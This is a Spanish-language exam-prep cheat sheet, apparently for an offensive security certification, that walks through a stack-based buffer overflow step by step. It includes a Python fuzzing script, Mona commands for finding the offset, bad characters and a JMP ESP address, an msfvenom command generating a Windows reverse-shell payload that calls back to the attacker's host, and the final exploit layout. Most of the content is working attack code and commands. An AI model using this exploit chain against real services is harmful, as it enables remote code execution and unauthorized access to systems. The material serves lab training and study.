Salta el contingut

Buffer Overflow (Stack Based)

[!warning] Legacy but Vital Aunque el nuevo examen enfoca en AD, el BOF puede aparecer en la parte de desafíos. Metodología: Fuzz -> Crash -> Offset -> Badchars -> Shellcode -> Exploit. Herramienta: Immunity Debugger + Mona.py.

1. Fuzzing

Enviar caracteres 'A' hasta que el programa pete y sobrescriba EIP.

# Script rápido de Python
import socket, time, sys

ip = "10.10.x.x"
port = 9999
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

2. Offset (EIP Control)

  1. Crear Pattern: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <CRASH_LEN>
  2. Enviar Pattern en vez de 'A's.
  3. En Mona: !mona findmsp -distance <CRASH_LEN>
  4. Resultado: EIP contains normal pattern : ... (offset 2003)

3. Bad Characters

Caracteres que rompen la shellcode (ej: \x00 siempre es malo). 1. Genera bytearray en mona: !mona bytearray -b "\x00" 2. Envía todos los caracteres \x01 a \xff tras el offset. 3. Compara: !mona compare -f C:\mona\app\bytearray.bin -a <ESP_ADDRESS> 4. Repite eliminando los malos hasta que salga "Unmodified".

4. Finding JMP ESP

Necesitamos una dirección que salte a nuestra shellcode (en el stack).

!mona jmp -r esp -cpb "\x00\x0a..." (tus badchars)
Elige una dirección sin protecciones (ASLR/DEP false). Ej: 0x625011af.

5. Shellcode & Exploit

Generar payload (sin badchars).

msfvenom -p windows/shell_reverse_tcp LHOST=<TUN0_IP> LPORT=443 EXITFUNC=thread -b "\x00\x0a..." -f c

Script Final:

padding = "A" * 2003 (Offset)
eip = "\xaf\x11\x50\x62" (JMP ESP inv)
nops = "\x90" * 32
shellcode = ( ... )

payload = padding + eip + nops + shellcode